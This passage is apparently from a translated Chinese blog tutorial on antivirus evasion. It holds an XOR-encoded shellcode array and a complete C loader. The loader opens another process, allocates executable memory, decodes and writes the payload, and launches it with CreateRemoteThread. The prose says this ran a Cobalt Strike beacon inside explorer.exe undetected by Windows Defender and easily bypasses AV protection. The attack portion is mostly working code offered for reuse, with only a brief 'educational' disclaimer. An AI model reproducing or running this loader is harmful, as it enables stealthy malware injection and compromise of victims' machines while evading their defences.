2\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
// The PID that you want to use
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
// Allocate space
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(data); i++){
// Decode shellcode opcode
char DecodedOpCode = data[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
printf("[+] Byte wrote sucessfully!\n");
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);
}else{
printf("[-] Unable to allocate memory ...\n");
}
}else{
printf("[-] Unable to retrieve process handle\n");
}
}
正如我们在第55行中看到的那样,我们使用CreateRemoteThread()函数在explorer.exe上作为线程执行Shellcode,并且CreateRemoteThread()采用以下参数:
- process:这是我们之前使用OpenProcess()检索到的句柄
- null:获取默认的安全描述符;可以在这里获取详细信息。
- 100:堆栈的初始大小。
- base_address:这是我们的shellcode的第一个操作码。
- null:没有参数传递给线程。
- 0:线程在创建后立即运行。
- 0x5151:线程ID
在运行代码之后,我们将获得以下内容:
我们在Windows Explorer中运行了一个CobaltStrike的beacon,而没有被Windows Defender捕获。
结论
通过使用这种技术对shellcode进行编码和解码,我们可以轻松绕过AV保护,并在另一个进程中运行shellcode。
您可以根据需要自定义编码器,但也必须编辑解码器,还可以修改代码以满足执行上的需求,并且部分代码仅出于教育目的而编写。
发表评论
您还未登录,请先登录。
登录